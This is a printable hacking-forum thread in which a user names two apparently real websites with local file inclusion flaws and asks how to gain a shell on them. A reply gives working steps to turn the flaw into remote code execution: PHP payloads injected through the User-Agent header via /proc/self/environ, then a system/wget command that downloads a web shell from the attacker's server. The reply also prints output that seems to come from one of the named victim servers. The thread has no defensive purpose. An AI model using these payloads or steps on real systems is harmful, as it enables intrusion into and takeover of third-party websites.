Sinisterly
Need Help LFI - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Need Help LFI (/Thread-Need-Help-LFI)

Need Help LFI - D@rk1433 - 08-20-2015

Hello masters i need help in LFI

Here is two sites :->

1.http://cwc.mwa.co.th/index.php?page=/etc/passwd

2.http://www.eastwestopticians.com/?page=/etc/passwd

I want to shell site so help me how i shell above sites using LFI and LFD

Thanks in advance

RE: Need Help LFI - Enumeraided - 08-21-2015

Hi D@rk1433,

You can take a myriad of routes to exploit present LFI vulnerabilities. LFI to RCE is my favorite and someone already has a guide on log based exploitation

If /etc/ is accessible, try /proc/self/environ.

If /proc/self/environ is accessible you can now inject malicious code. One method to inject the code is to modify your user agents. You can edit your user agents in Firefox by installing the user agent overrider, going to about:config, and adding a new string named user.agent.override with your modified user agent name.

Test executing commands remotely by using these codes as your user agents:
Code:
<? phpinfo();?>
Code:
<?exec ('uname -a');?>
Code:
<?exec ('pwd');?>

### not all servers will allow "exec", you can also try "system".

If your commands are being executed, you can now upload a shell with the same method:
Code:
<?system('wget http://myserver/myshell.php -O whatyouwantshelltobecalled.php');?>
| this command will download the shell from your server and upload it onto your target's server with the name following -O.

Voilà, you have your shell which can be found on http://www.target/whateverinamedtheshell.php
### you need write access for this

There are many other ways to take advantage of LFI vulnerabilities; you can use logs, you can do almost anything if you have RCE, like use Netcat, there is just an endless amount of opportunities.

I can teach very in depth, advanced methods if you desire: https://www.sinister.ly/Thread-Selling-Hacking-Services

Server information:
Spoiler:
Code:
HTTP_USER_AGENT=Linux lo2.pwh-r1.com 2.6.32-604.16.2.lve1.3.48.el6.x86_64 #1 SMP Thu Jun 11 12:13:03 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux PATH=/bin:/usr/binQUERY_STRING=page=../../../../../proc/self

Code:
HOST=www.eastwestopticians.comHTTP_USER_AGENT=uid=639(eastwest) gid=640(eastwest) groups=640(eastwest) PATH=/bin:/usr/binQUERY_STRING=page=../../../../../proc/self /home/eastwest/public_html PATH=/bin:/usr/binQUERY_STRING=page=../../../../../proc/self